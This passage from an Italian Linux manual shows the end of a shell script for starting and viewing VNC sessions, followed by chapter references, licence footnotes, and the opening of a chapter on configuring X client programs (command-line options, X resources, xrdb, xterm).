    # Quit old VNC servers and reset personal configuration.
    #
    killall Xvnc 2> /dev/null
    killall Xrealvnc 2> /dev/null
    killall Xtightvnc 2> /dev/null
    rm -f    $PASSWORD_FILE
    echo "$ENCRIPTED_PASSWORD" > $PASSWORD_FILE
    chmod 0600 $PASSWORD_FILE
    #
    # Start VNC server at screen :1, using ~/.vnc/log for log file.
    #
    Xvnc :1 -auth ~/.Xauthority -geometry $GEOMETRY -depth $DEPTH \
        -rfbwait 120000 -rfbauth $PASSWORD_FILE -rfbport 5901 \
        -fp $VNC_FONTS -co /etc/X11/rgb \
        -alwaysshared nologo -dpi 100 2> `dirname $PASSWORD_FILE`/log &
    #
    # If it does not work, start it with vncserver:
    #
    # vncserver :1 -auth ~/.Xauthority -geometry $GEOMETRY -depth $DEPTH \
    #    -rfbwait 120000 -rfbauth $PASSWORD_FILE -rfbport 5901 \
    #    -fp $VNC_FONTS -co /etc/X11/rgb \
    #    -alwaysshared nologo -dpi 100 \
    #    -startup true 2> `dirname $PASSWORD_FILE`/log &
    #
    # Window manager.
    #
    start_vnc_window_manager &
    #
    # Start xinit with xvncviewer as a client
    #
    xinit /usr/bin/xvncviewer -fullscreen -passwd $PASSWORD_FILE localhost:1
}
#
# vncs.
#
start_vncs () {
    #
    # Quit old VNC servers and reset personal configuration.
    #
    killall Xvnc 2> /dev/null
    killall Xrealvnc 2> /dev/null
    killall Xtightvnc 2> /dev/null
    rm -f    $PASSWORD_FILE
    #
    if ! vncpasswd $PASSWORD_FILE
    then
        #
        dialog --msgbox "The password is not valid, sorry." 0 0
        #
        exit
        #
    fi
```

```
    #
    # Start VNC server at screen :1, using ~/.vnc/log for log file.
    #
    Xvnc :1 -auth ~/.Xauthority -geometry $GEOMETRY -depth $DEPTH \
        -rfbwait 120000 -rfbauth $PASSWORD_FILE -rfbport 5901 \
        -fp $VNC_FONTS -co /etc/X11/rgb \
        -alwaysshared nologo -dpi 100 2> `dirname $PASSWORD_FILE`/log &
    #
    # If it does not work, start it with vncserver:
    #
    # vncserver :1 -auth ~/.Xauthority -geometry $GEOMETRY -depth $DEPTH \
    #    -rfbwait 120000 -rfbauth $PASSWORD_FILE -rfbport 5901 \
    #    -fp $VNC_FONTS -co /etc/X11/rgb \
    #    -alwaysshared nologo -dpi 100 \
    #    -startup true 2> `dirname $PASSWORD_FILE`/log &
    #
    # Window manager.
    #
    start_vnc_window_manager &
}
#
# vncwm.
#
start_vnc_window_manager () {
    #
    xsetroot -display :1 -solid NavyBlue
    #
    if [ -f ~/.backgroundcolor ]
    then
        xsetroot -display :1 -solid `cat ~/.backgroundcolor`
    fi
    #
    if [ -f ~/.wallpaper ]
    then
        display -display :1 -window root -backdrop ~/.wallpaper
    fi
    #
    # Start fvwm and kill VNC when it dies.
    #
    fvwm2 -display :1  2> /dev/null ; killall Xvnc 2> /dev/null ; \
                                  killall Xrealvnc 2> /dev/null ; \
                                  killall Xtightvnc 2> /dev/null
    #
}
#
# Common viewer procedure
#
vnc_viewer_procedure () {
    #
    # The default password file will be used if available.
    #
    if [ -f $PASSWORD_FILE ]
    then
```

```
        #
        dialog --msgbox "There is already a file $PASSWORD_FILE. \
If authentication fails, try to remove it." 0 0
        #
    else
        if ! vncpasswd $PASSWORD_FILE
        then
            #
            dialog --msgbox "The password is not valid, \
I will try with a default one." 0 0
            #
            # Try with default password.
            #
            echo "$ENCRIPTED_PASSWORD" > $PASSWORD_FILE
        fi
    fi
    #
    # Check for arguments.
    #
    if [ "$ARGUMENTS" = "" ]
    then
        #
        # Give address.
        #
        if dialog  \
            --title "remote VNC server address" \
            --inputbox \
                "Please insert the remote VNC server address. \
The connection will be tried at screen \":1\"." \
            0 0 \
            "$VNC_REMOTE_SERVER" \
            2> $TEMPORARY
        then
            ARGUMENTS=`cat $TEMPORARY`
            echo "" > $TEMPORARY
        fi
    fi
    #
    # Save data.
    #
    VNC_REMOTE_SERVER="$ARGUMENTS"
    rm -f /etc/nlnx/all/VNC_REMOTE_SERVER
    echo "$VNC_REMOTE_SERVER" > /etc/nlnx/all/VNC_REMOTE_SERVER
}
#
# Take/view shared x procedure
#
vnc_viewer_shared_x_procedure () {
    #
    # Default password
    #
    rm -f    $PASSWORD_FILE
    echo "$ENCRIPTED_PASSWORD" > $PASSWORD_FILE
```

```
    chmod 0600 $PASSWORD_FILE
    #
    # Check for arguments.
    #
    if [ "$ARGUMENTS" = "" ]
    then
        #
        # Give address.
        #
        if dialog  \
            --title "remote VNC server addresses" \
            --inputbox \
                "Please insert the remote VNC server addresses. \
The connection will be tried at screen \":1\"." \
            0 0 \
            "$VNC_REMOTE_SERVERS" \
            2> $TEMPORARY
        then
            ARGUMENTS=`cat $TEMPORARY`
            echo "" > $TEMPORARY
        fi
    fi
    #
    # Save data.
    #
    VNC_REMOTE_SERVERS="$ARGUMENTS"
    rm -f /etc/nlnx/all/VNC_REMOTE_SERVERS
    echo "$VNC_REMOTE_SERVERS" > /etc/nlnx/all/VNC_REMOTE_SERVERS
}
#
# Geometry selection.
#
select_geometry () {
    if dialog   \
        --clear \
        --title "geometry" \
        --menu "Select VNC server geometry:" \
        0 0 0 \
        "1024x768"              "default" \
        "1440x1080"             "" \
        "1408x1056"             "" \
        "1376x1032"             "" \
        "1344x1008"             "" \
        "1312x984"              "" \
        "1280x960"              "" \
        "1248x936"              "" \
        "1216x912"              "" \
        "1184x888"              "" \
        "1152x864"              "" \
        "1120x840"              "" \
        "1088x816"              "" \
        "1056x792"              "" \
        "1024x768"              "usual resolution" \
```

```
        "992x744"              "" \
        "960x720"              "" \
        "928x696"              "" \
        "896x672"              "" \
        "864x648"              "" \
        "832x624"              "" \
        "800x600"              "old SVGA resolution" \
        "768x576"              "" \
        "736x552"              "" \
        "704x528"              "" \
        "672x504"              "" \
        "640x480"              "old VGA resolution" \
        "608x456"              "" \
        "576x432"              "" \
        "544x408"              "" \
        "512x384"              "" \
        "480x360"              "" \
        2> $TEMPORARY
    then
        SELECTION=`cat $TEMPORARY`
        echo "" > $TEMPORARY
        GEOMETRY="$SELECTION"
    else
        #
        # Set to a default
        #
        GEOMETRY="1024x768"
    fi
}
#
# Write to log.
#
log_vnc_view () {
    logger "User $USER trying to view VNC server $1"
}
log_vnc_control () {
    logger "User $USER trying to control VNC server $1"
}
#
# Start the command selection
#
if [ "$PROGRAM_NAME" = "vncrc" ]
then
    main_menu
fi
#
# Now the program name might be changed.
#
if  [ "$PROGRAM_NAME" = "sharedx" ]
then
    select_geometry
    DEPTH="16"
    start_shared_x
```

```
elif [ "$PROGRAM_NAME" = "vncs" ]
then
    select_geometry
    DEPTH="16"
    start_vncs
elif [ "$PROGRAM_NAME" = "vnccx" ]
then
    #
    vnc_viewer_procedure
    #
    # Please note that you cannot put it in background!
    #
    xinit /usr/bin/xvncviewer -fullscreen -passwd $PASSWORD_FILE \
        $VNC_REMOTE_SERVER:1
    #
elif [ "$PROGRAM_NAME" = "vncvx" ]
then
    #
    vnc_viewer_procedure
    #
    log_vnc_view $VNC_REMOTE_SERVER:1
    #
    # Please note that you cannot put it in background!
    #
    xinit /usr/bin/xvncviewer -viewonly -fullscreen -passwd $PASSWORD_FILE \
        $VNC_REMOTE_SERVER:1
    #
elif [ "$PROGRAM_NAME" = "vncc" ]
then
    #
    vnc_viewer_procedure
    #
    log_vnc_control $VNC_REMOTE_SERVER:1
    #
    /usr/bin/xvncviewer -passwd $PASSWORD_FILE $VNC_REMOTE_SERVER:1 &
    #
elif [ "$PROGRAM_NAME" = "vncv" ]
then
    #
    vnc_viewer_procedure
    #
    log_vnc_view $VNC_REMOTE_SERVER:1
    #
    /usr/bin/xvncviewer -viewonly -passwd $PASSWORD_FILE $VNC_REMOTE_SERVER:1 &
    #
elif [ "$PROGRAM_NAME" = "vncsc" ]
then
    select_geometry
    DEPTH="16"
    start_vncs
    xinit /usr/bin/xvncviewer -fullscreen -passwd $PASSWORD_FILE localhost:1
    #
elif [ "$PROGRAM_NAME" = "takesharedx" ]
```

```
then
    #
    vnc_viewer_shared_x_procedure
    #
    for a in $ARGUMENTS
    do
        #
        log_vnc_control $a:1
        #
        /usr/bin/xvncviewer -passwd $PASSWORD_FILE "$a:1" -title "$a:1" &
    done
    #
elif [ "$PROGRAM_NAME" = "viewsharedx" ]
then
    #
    vnc_viewer_shared_x_procedure
    #
    for a in $ARGUMENTS
    do
        #
        log_vnc_view $a:1
        #
        /usr/bin/xvncviewer -viewonly -passwd $PASSWORD_FILE "$a:1" \
            -title "$a:1" &
    done
    #
fi
```

31.14.11 Conclusione

VNC è un lavoro che ha prodotto diversi filoni di sviluppo, per esigenze differenti. Oltre a quanto descritto in questo capitolo esistono diversi altri programmi che possono essere di un certo interesse. Di tale disponibilità è bene tenerne conto, per sapere che può essere utile una ricerca approfondita prima di organizzare il proprio lavoro in modo sistematico con VNC.

31.15 Riferimenti

- *The XFree86 Project, Inc.*

  ⟨http://www.xfree86.org/ ⟩

- *X.Org foundation*

  ⟨http://www.x.org/ ⟩

- Eric S. Raymond, *XFree86 Video Timings HOWTO*

  ⟨http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html ⟩

- *ISO/IEC 9995:1994, Information technology -- Keyboard layouts for text and office systems*

  ⟨http://www.iso.org ⟩

- *Pictogrammes ISO 9995-7*
  ⟨*http://pages.infinit.net/pm2/lexique4.htm* ⟩
- Erik Fortune, *The X keyboard extension: protocol specification*
  ⟨*http://www.xfree86.org/current/XKBproto.pdf* ⟩
- Kamil Toman, Ivan U. Pascal, *The XKB configuration guide*
  ⟨*http://www.xfree86.org/current/XKB-Config.pdf* ⟩
- Kamil Toman, Ivan U. Pascal, *How to further enhance XKB configuration*
  ⟨*http://www.xfree86.org/current/XKB-Enhancing.pdf* ⟩
- Doug Palmer, *An unreliable guide to XKB configuration*
  ⟨*http://www.charvolant.org/~doug/xkb/* ⟩
- Ivan U. Pascal, *X keyboard extension*
  ⟨*http://pascal.tsu.ru/en/xkb/* ⟩

- Erik Fortune, *The X keyboard extension: protocol specification*
  ⟨*http://www.xfree86.org/current/XKBproto.pdf* ⟩
- Kamil Toman, Ivan U. Pascal, *The XKB configuration guide*
  ⟨*http://www.xfree86.org/current/XKB-Config.pdf* ⟩
- Kamil Toman, Ivan U. Pascal, *How to further enhance XKB configuration*
  ⟨*http://www.xfree86.org/current/XKB-Enhancing.pdf* ⟩
- Doug Palmer, *An unreliable guide to XKB configuration*
  ⟨*http://www.charvolant.org/~doug/xkb/* ⟩
- Ivan U. Pascal, *X keyboard extension*
  ⟨*http://pascal.tsu.ru/en/xkb/* ⟩

- Matt Chapman, *Window managers for X*
  ⟨*http://www.plig.org/xwinman/* ⟩.
- *FVWM*
  ⟨*http://www.fvwm.org* ⟩
- *RealVNC*
  ⟨*http://www.realvnc.com* ⟩
- *TightVNC*
  ⟨*http://www.tightvnc.org* ⟩
- Karl Runge, *x11vnc: a VNC server for real X displays*
  ⟨*http://www.karlrunge.com/x11vnc/* ⟩
- Giuseppe De Marco, *Cripting delle sessioni VNC*, articolo contenuto nella rivista *Linux magazine*, edizioni Master, ISSN 1592-8152, anno III, numero 25, dicembre 2002

[1] **X.Org** MIT più altre licenze per porzioni particolari di codice

[2] **XFree86** MIT più altre licenze per porzioni particolari di codice

[3] Quando si parla di cose legate all'informatica, è facile sbagliarsi. La frequenza si misura in hertz (simbolo: «Hz»), che rappresenta il numero di cicli al secondo. I moltiplicatori di questa unità di misura sono quelli standard, quindi '**`k`**' sta per 1000 e **non** 1024.

[4] **X** MIT più altre licenze per porzioni particolari di codice

[5] **X** MIT più altre licenze per porzioni particolari di codice

[6] **Xfstt** GNU LGPL

[7] Se si vuole provare a vedere cos'è un servente X senza clienti basta avviare '**`X`**'. Come già spiegato in precedenza, è sempre possibile uscire con la combinazione [*Ctrl Alt Backspace*].

[8] In questo caso, dal momento che '**`twm`**' viene avviato rimpiazzando la shell, risulta che il processo di '**`xclock`**' dipende proprio da '**`twm`**'.

[9] Prima di utilizzare '**`xon`**' è indispensabile sapere gestire '**`rsh`**'.

[10] I caratteri tipografici di X servono solo per la rappresentazione di testo sullo schermo. In pratica, non sono utili per la stampa vera e propria.

[11] **Read-edid** software libero per la maggior parte GNU GPL

[12] **X** MIT più altre licenze per porzioni particolari di codice

[13] **modeline** GNU GPL

[14] **X** MIT più altre licenze per porzioni particolari di codice

[15] **X** MIT più altre licenze per porzioni particolari di codice

[16] **X** MIT più altre licenze per porzioni particolari di codice

[17] **X** MIT più altre licenze per porzioni particolari di codice

[18] **X** MIT più altre licenze per porzioni particolari di codice

[19] **SCIM** GNU GPL

[20] **X** MIT più altre licenze per porzioni particolari di codice

[21] È bene ricordare che '**`xsetroot`**' non ha bisogno di essere avviato sullo sfondo perché termina subito la sua attività.

[22] Nella tradizione informatica, la sigla NOP sta per *Not operate* e definisce un'azione priva di risultati.

[23] **Fvwm 2** software libero soggetto a diverse licenze a seconda della porzione di codice coinvolta

[24] **X** MIT più altre licenze per porzioni particolari di codice

[25] **Gdm** GNU GPL

[26] **KDE** GNU GPL, GNU LGPL e altre licenze a seconda della porzione di codice

[27] **Wdm** GNU GPL con l'aggiunta della licenza specifica di Xdm

[28] **Gnome** GNU GPL e GNU LGPL

[29] **KDE** GNU GPL, GNU LGPL e altre licenze a seconda della porzione di codice

[30] **VNC** GNU GPL

Capitolo 32

Applicazioni comuni per X

32.1 X: configurazione dei clienti 1848
32.1.1 Riga di comando delle applicazioni X 1848
32.1.2 Risorse 1852
32.2 Programmi di servizio tradizionali 1855
32.2.1 Terminale 1856
32.2.2 Clipboard 1857
32.2.3 Caratteri 1858
32.2.4 Informazioni sulle finestre e sul servente 1861
32.2.5 Impostazione dello schermo 1864
32.2.6 Programmi di servizio vari 1869
32.3 Gestori di file 1871
32.3.1 XFE 1871
32.3.2 Nautilus 1872
32.3.3 Konqueror 1873
32.3.4 File-roller 1874
32.4 Accesso remoto tradizionale 1875
32.4.1 Putty 1875
32.5 Monitor di vario tipo 1877
32.5.1 Gmemusage 1877
32.5.2 Etherape 1878
32.6 Applicativi comuni per l'ufficio 1879
32.6.1 OpenOffice.org 1879
32.6.2 Gnumeric 1881
32.6.3 AbiWord 1882
32.6.4 XFig 1883
32.7 Riferimenti 1888

`.Xdefaults` 1853 `.Xresources` 1854 `/etc/X11/app-defaults/` 1853 `/etc/X11/Xresources/` 1854 `bitmap` 1867 `fig2dev` 1886 `pstoedit` 1886 `xbiff` 1869 `xcalc` 1870 `xclipboard` 1857 `xclock` 1870 `xdpyinfo` 1862 `xfd` 1860 `xfe` 1871 `xferc` 1871 `xfontsel` 1859 `xidle` 1869 `xkill` 1869 `xload` 1869 `xlsfonts` 1859 `xmem` 1869 `xrdb` 1854 `xset` 1864 `xsetroot` 1866 `xwininfo` 1861 `-background` 1851 `-display` 1848 `-font` 1852 `-foreground` 1851 `-geometry` 1849 `-title` 1851 `-xrm` 1855

32.1 X: configurazione dei clienti

Il funzionamento dei programmi clienti può essere configurato in due modi: con l'uso di opzioni nella riga di comando (cosa comune a tutti i programmi) e attraverso l'impostazione di ***risorse***. Alcune opzioni e alcune risorse sono riconosciute dalla maggior parte dei programmi, facilitando il loro utilizzo e rendendo omogeneo il sistema.

32.1.1 Riga di comando delle applicazioni X

Le applicazioni clienti tradizionali permettono di utilizzare, nella riga di comando, una serie di opzioni standardizzate. Si tratta evidentemente di opzioni riferite principalmente all'aspetto del programma, come la dimensione e la colorazione. La tabella 32.1 mostra l'elenco di alcune di queste opzioni.

Tabella 32.1. Alcune delle opzioni comuni ai programmi per X.

Opzione	Descrizione
`-foreground` ***colore***	Colore di primo piano.
`-background` ***colore***	Colore dello sfondo.
`-reverse`	Inverte il colore di primo piano con quello di sfondo.
`-bordercolor` ***colore***	Colore dei bordi.
`-borderwidth` ***dimensione***	Dimensione in punti grafici (pixel) dello spessore dei bordi.
`-title` ***titolo***	Descrizione da porre sulla barra del titolo.
`-iconic`	Avvia ridotto a icona.
`-font` ***carattere***	Utilizza il tipo di carattere specificato per visualizzare il testo.
`-geometry` ***geometria***	Dimensioni e collocazione della finestra.
`-display` ***schermo***	Coordinate dello schermo su cui deve apparire la finestra.

Nelle sezioni seguenti si analizzano le più importanti.

32.1.1.1 Opzione «--display»

```
-display coordinate_del_display
```

```
-d coordinate_del_display
```

X è fatto per funzionare su sistemi connessi in rete, ognuno dei quali può avere potenzialmente più schermi e può mettere in esecuzione più serventi grafici: uno per ogni stazione grafica,

reale o virtuale che sia. Di conseguenza, per identificare uno schermo di una stazione grafica di un certo elaboratore si utilizza un indirizzo composto nel modo seguente (come già mostrato nel capitolo introduttivo a X).

```
[nodo] :numero_del_servente_grafico [.numero_dello_schermo]
```

L'elaboratore può essere identificato attraverso il nome, completo o parziale, oppure con l'indirizzo IP. Quando questa indicazione viene omessa, si intende quello in cui il programma viene messo in esecuzione.

Teoricamente, un elaboratore può mettere in esecuzione contemporanea più di un servente grafico, per pilotare diverse stazioni grafiche. GNU/Linux in particolare, può farlo attraverso delle stazioni grafiche virtuali che si comportano in modo simile a quello delle console virtuali. La numerazione parte da zero, di conseguenza, quando si fa riferimento al primo (e di solito unico) servente grafico a disposizione, si indica semplicemente '`:0`'.

Teoricamente, un servente grafico può pilotare più di uno schermo per volta. La numerazione parte da zero, di conseguenza, quando si fa riferimento al primo (e di solito unico) schermo del primo servente grafico a disposizione, si indica '`:0.0`', oppure si omette semplicemente l'indicazione ('`:0`').

La variabile di ambiente ***DISPLAY*** viene usata per stabilire le coordinate predefinite dello schermo sul quale devono apparire i programmi avviati senza l'indicazione di questa opzione ('**`-display`**'). In situazioni normali, il suo contenuto è '`:0.0`'.

Nell'esempio seguente, si mostra un caso tipico, in cui si avvia un programma in un elaboratore diverso dal proprio e lo si visualizza sul monitor del proprio elaboratore. Tuttavia, perché ciò possa funzionare, occorre abilitare la connessione (questo problema viene analizzato in parte nella sezione 31.5.5).

roggen$ **`telnet dinkel.brot.dg`** [*Invio*]

...

dinkel$ **`xcalc -display roggen.brot.dg:0 &`** [*Invio*]

32.1.1.2 Opzione «-geometry»

```
-geometry [dimensioni] [posizione]
```

```
-g [dimensioni] [posizione]
```

Spesso è possibile definire la dimensione e la posizione della finestra iniziale aggiungendo l'opzione '**`-geometry`**'. Le dimensioni sono espresse secondo la sintassi seguente:

```
[=] dimensione_orizzontalexdimensione_verticale
```

I valori possono essere espressi in punti grafici (pixel) o in caratteri, a seconda che si tratti di programmi che utilizzano la grafica o meno. Il segno '**=**' è facoltativo. La posizione viene espressa secondo la sintassi seguente:

```
{+|-}distanza_orizzontale{+|-}distanza_verticale
```

In pratica si tratta di due valori, espressi in punti grafici, preceduti da un segno: un valore positivo indica una distanza dal margine sinistro o dal margine superiore; un valore negativo, indica una distanza dal margine destro o dal margine inferiore.

Tabella 32.2. Posizione dei quattro angoli dello schermo.

Posizione	Descrizione
`+0+0`	Angolo superiore sinistro.
`-0+0`	Angolo superiore destro.
`-0-0`	Angolo inferiore destro.
`+0-0`	Angolo inferiore sinistro.

Segue la descrizione di alcuni esempi.

- `$` **`xterm -geometry +0+0 &`** [*Invio*]

  Avvia il programma '**`xterm`**' sullo sfondo collocando la sua finestra a partire dal punto più altro e più a sinistra possibile della superficie virtuale attiva.

- `$` **`xterm -geometry -10-10 &`** [*Invio*]

  Avvia il programma '**`xterm`**' sullo sfondo, collocando l'angolo inferiore destro della sua finestra a 10 punti grafici dal margine destro e dal margine inferiore della superficie virtuale attiva.

- `$` **`xterm -geometry =80x25+0+0 &`** [*Invio*]

  Avvia il programma '**`xterm`**' sullo sfondo, in una finestra di 80×25 caratteri, collocata a partire dal bordo superiore e sinistro della superficie virtuale attiva.

- `$` **`xcalc -geometry =500x200+20+10 &`** [*Invio*]

  Avvia il programma '**`xcalc`**' sullo sfondo, in una finestra di 500×200 punti grafici (deformandolo), collocata in modo che l'angolo superiore sinistro della sua finestra si trovi a 20 punti dal margine superiore della superficie virtuale attiva e a 10 punti dal margine sinistro.

32.1.1.3 Opzione «-background»

```
-background colore
```

```
-bg colore
```

Questa opzione permette di definire il colore dello sfondo. Il colore viene fornito in forma alfabetica, cioè con l'indicazione del suo nome. I nomi dei colori con le loro corrispondenze RGB sono contenuti nel file '`/etc/X11/rgb.txt`', così come indicato nel file di configurazione di X ('`/etc/X11/XF86Config*`', '`/etc/X11/xorg.conf`', ecc.) nella sezione '**`Files`**'.

L'esempio seguente avvia '**`xcalc`**' utilizzando il colore denominato '**`blue`**' per lo sfondo:

$ **`xcalc -bg blue &`** [*Invio*]

32.1.1.4 Opzione «-foreground»

```
-foreground colore
```

```
-fg colore
```

Questa opzione permette di definire il colore di primo piano. Il colore viene fornito in forma alfabetica, cioè con l'indicazione del suo nome. I nomi dei colori con le loro corrispondenze RGB sono contenuti nel file '`/etc/X11/rgb.txt`', così come indicato nel file di configurazione di X ('`/etc/X11/XF86Config*`', '`/etc/X11/xorg.conf`', ecc.) nella sezione '**`Files`**'.

L'esempio seguente avvia '**`xcalc`**' utilizzando il colore '**`red`**' per il primo piano:

$ **`xcalc -fg red &`** [*Invio*]

32.1.1.5 Opzione «-title»

```
-title titolo
```

Questa opzione permette di definire un titolo da fare apparire sulla barra superiore della finestra: la barra del titolo.

L'esempio seguente avvia '**`xcalc`**' facendo apparire sulla barra del titolo: «calcolatrice tascabile»:

$ **`xcalc -title "calcolatrice tascabile" &`** [*Invio*]

32.1.1.6 Opzione «-font»

```
-font { nome_del_font | dimensioni_del_font }
```

```
-fn { nome_del_font | dimensioni_del_font }
```

Questa opzione permette di definire il tipo di carattere o la dimensione da utilizzare per le applicazioni che visualizzano testo.

Segue la descrizione di alcuni esempi.

- `$ xterm -font 7x14 &` [*Invio*]

  Avvia '**xterm**' utilizzando caratteri di dimensione 7×14.

- `$ xterm -font 10x20 &` [*Invio*]

  Avvia '**xterm**' utilizzando caratteri di dimensione 10×20.

- `$ xterm -font -adobe-courier-* &` [*Invio*]

  Avvia '**xterm**' utilizzando caratteri '**adobe**' del tipo '**courier**'. Il tipo di carattere non viene indicato in modo preciso, per mezzo dell'asterisco finale che aiuta a completarne il nome. In pratica, le altre caratteristiche del tipo di carattere vengono lasciate al loro valore predefinito.

32.1.2 Risorse

Ogni programma cliente può essere configurato attraverso delle ***risorse***. Si tratta di qualcosa di paragonabile all'assegnamento di valori a oggetti determinati che rappresentano un elemento o un comportamento particolare di un programma.

Queste risorse sono descritte all'interno di file di configurazione e le relative impostazioni possono essere attivate attraverso l'uso del programma '**xrdb**' (*X resources database*).

I file delle risorse possono contenere dei commenti: il punto esclamativo ('**!**') viene utilizzato come l'inizio di una riga da ignorare.

32.1.2.1 Nomi delle risorse

Le risorse di ogni programma sono stabilite dal programma stesso e solitamente se ne trova l'elenco nella pagina di manuale relativa. Si tratta normalmente del nome del programma, seguito da altri nomi, separati da un punto, riferiti a elementi di gerarchia inferiore, fino a giungere all'elemento finale. Per esempio, '**XClock.input**'.

Nell'indicazione dei nomi di queste risorse si può utilizzare l'asterisco ('*'), che viene interpretato come avviene nelle shell comuni, così da poter indicare gruppi di risorse in modo semplificato.

Tabella 32.3. Elenco di alcune risorse utilizzate più frequentemente.

Risorsa	Descrizione
`*background:` ***colore***	Colore dello sfondo.
`*foreground:` ***colore***	Colore di primo piano.
`*borderColor:` ***colore***	Colore dei bordi.
`*title:` ***titolo***	Descrizione da porre sulla barra del titolo.
`*iconic: {on|off}`	Avvia ridotto a icona.
`*font` ***carattere***	Utilizza il tipo di carattere specificato per visualizzare il testo.
`*geometry:` ***geometria***	Dimensioni e collocazione della finestra.

32.1.2.2 Configurazione delle applicazioni

Di norma, la directory '`/etc/X11/app-defaults/`' (oppure '`/usr/lib/X11/app-defaults/`') contiene una serie di file, ognuno riferito a un programma particolare, per il quale vengono dichiarati i valori predefiniti delle risorse di sua competenza.

I nomi di questi file sono abbastanza simili a quelli dei programmi a cui si riferiscono. Tuttavia, per sapere esattamente come viene identificato un programma per ciò che riguarda le sue risorse occorre consultare la sua documentazione.

A fianco di questi file, l'utente dovrebbe avere la possibilità di definire un file nella propria directory personale: '`~/.Xdefaults`'. Questo file può essere scritto sfruttando le stesse tecniche di precompilazione dei linguaggi di programmazione più recenti (infatti, prima di essere elaborato, viene analizzato normalmente dal precompilatore '**`cpp`**').

Oltre al normale commento indicato attraverso il punto esclamativo, si può utilizzare la forma del linguaggio C: '**`/* ... */`**', segnalando così l'inizio e la fine del commento.

Direttiva	Descrizione
`#define` ***entità***	Definisce un'entità, ovvero una sorta di variabile booleana che conta solo in quanto esistente o meno.
`#ifdef` ***entità***	Se una certa entità è stata definita, esegue le righe seguenti fino a '**`#endif`**'.
`#ifndef` ***entità***	Se una certa entità non è stata definita, esegue le righe seguenti fino a '**`#endif`**'.
`#else`	Viene usato sia da '**`#ifdef`**' che da '**`#ifndef`**' per indicare le righe da eseguire in caso la condizione non si sia verificata.
`#endif`	Viene usato sia da '**`#ifdef`**' che da '**`#ifndef`**' per terminare una struttura condizionale.
`#include` ***file***	Include il contenuto del file indicato, in corrispondenza di quel punto.
`/*` ***istruzioni*** `*/`	Commenta le istruzioni racchiuse in questo modo.

Quello che segue è l'esempio di un pezzo del contenuto di un file '`~/.Xdefaults`':

```
! Commentare la riga seguente se lo schermo è di grandi dimensioni.
#define SCHERMO_PICCOLO

#ifdef SCHERMO_PICCOLO
XTerm*geometry: =80x25+1+1
#else
XTerm*geometry: =100x40+1+1
#endif

! Mi piace la calcolatrice verde.
XCalc*background: green
! Voglio una barra del titolo differente.
XCalc*title: Calcolatrice
```

Come si vede, se viene dichiarata l'entità '**SCHERMO_PICCOLO**', viene definita una geometria normale per il programma '**XTerm**', altrimenti si usa una dimensione di 100×40. Per commentare la definizione dell'entità, si può fare come nell'esempio seguente:

```
! Commentare la riga seguente se lo schermo è di grandi dimensioni.
/* #define SCHERMO_PICCOLO */
```

32.1.2.3 Altre risorse

Il sistema di script che si occupa di attivare una sessione grafica, dovrebbe occuparsi di leggere altri file e aggiungere il loro contenuto alla definizione delle risorse, attraverso l'uso del programma '**xrdb**'. Dovrebbe trattarsi dei file contenuti nella directory '`/etc/X11/Xresources/`' ed eventualmente del file personale '`~/.Xresources`'.

Se esistono questi file, le risorse descritte al loro interno prevalgono su quanto descritto invece all'interno di '`/etc/X11/app-defaults/`' e '`~/.Xdefaults`'.

32.1.2.4 Utilizzo di «xrdb»

'**xrdb**'[1] (*X resources database*) permette di leggere o modificare le impostazioni delle risorse. Viene usato normalmente per leggere il contenuto di un file e aggiornare di conseguenza l'impostazione corrente delle risorse.

```
xrdb [opzioni] [file]
```

Si veda la pagina di manuale *xrdb(1)*.

Tabella 32.7. Alcune opzioni.

Opzione	Descrizione
`-merge`	Aggiunge le impostazioni ottenute dal file indicato.
`-query`	Permette di ottenere un listato delle impostazioni attive.

L'esempio seguente aggiunge il contenuto del file '`./risorse`' alle impostazioni attuali delle risorse.

$ **`xrdb -merge ./risorse`** [*Invio*]

32.1.2.5 Opzione «-xrm»

`-xrm` ***risorsa***

I programmi tradizionali X accettano anche questa opzione, eventualmente ripetuta più volte nella stessa riga di comando, per definire una proprietà attraverso una risorsa. Ciò permette di definire delle caratteristiche senza intervenire su file di configurazione, senza dover richiamare il programma '**`xrdb`**' e senza interferire sugli altri programmi eventualmente avviati successivamente.

Segue la descrizione di alcuni esempi.

- $ **`xcalc -xrm '*background: gold'`** [*Invio*]

  Avvia '**`xcalc`**' con un colore dorato per lo sfondo. Vengono usati gli apici singoli per evitare che la shell tenti di interpretare l'asterisco.

- $ **`xcalc -xrm '*background: gold' -xrm '*foreground: red'`** [*Invio*]

  Avvia '**`xcalc`**' con un colore dorato per lo sfondo e con un colore rosso per il primo piano.

32.2 Programmi di servizio tradizionali

Una serie di programmi di servizio tradizionali facilita e rende confortevole l'utilizzo di X. Le scrivanie grafiche come Gnome e KDE offrono molti programmi di servizio armonizzati e più gradevoli da usare; tuttavia, è importante conoscere anche l'uso dei programmi tradizionali.

32.2.1 Terminale

Il primo programma da dover conoscere quando si utilizza X è quello che consente di gestire un terminale a caratteri attraverso una finestra. Il programma tradizionale utilizzato per questo scopo è '**xterm**'.[2] In alternativa si possono usare programmi simili, che possono avere più o meno funzionalità di quello originale.

Il comportamento di un terminale a finestra non è esattamente uguale a quello di una console; ci si accorge subito che i soliti programmi non rispondono alla tastiera nello stesso modo cui si è abituati. Quando ciò accade, vale almeno la pena di provare tutti i programmi di terminale a finestra a disposizione, per determinare quale si comporta nel modo più confacente alle proprie esigenze. La sintassi semplificata per l'uso di '**xterm**' è la seguente:

```
xterm [opzioni] [-e programma [opzioni]]
```

Quando il programma viene avviato senza l'opzione '**-e**', viene eseguito quanto contenuto nella variabile ***SHELL*** e se manca viene utilizzato '/bin/sh'.

Se invece si utilizza l'opzione '**-e**', si può specificare il programma da eseguire nella finestra. Ciò può essere utile per preparare dei comandi già pronti all'interno di menù di altri programmi o del gestore di finestre stesso.

Una cosa importante da sottolineare è che le dimensioni della geometria di una finestra di terminale si esprimono in caratteri e non in punti come si fa di solito.

Infine, con l'opzione '**-ls**', si ottiene una shell di *login*, mentre con '**+ls**' no.

Segue la descrizione di alcuni esempi.

- $ **xterm -font 5x8 -geometry =132x30+0+0** [*Invio*]

  Avvia una finestra di terminale utilizzando caratteri molto piccoli con una dimensione di 30 righe per 132 colonne, posizionata a partire dall'angolo superiore sinistro dello schermo.

- $ **xterm -e top** [*Invio*]

  Avvia una finestra di terminale di dimensioni predefinite (80×25) con il programma '**top**'. Quando l'esecuzione di '**top**' viene conclusa, la finestra del terminale si chiude.

- $ **xterm -ls** [*Invio*]

  Avvia una finestra di terminale di dimensioni predefinite, con una shell di *login*.

- $ **xterm -en UTF-8** [*Invio*]

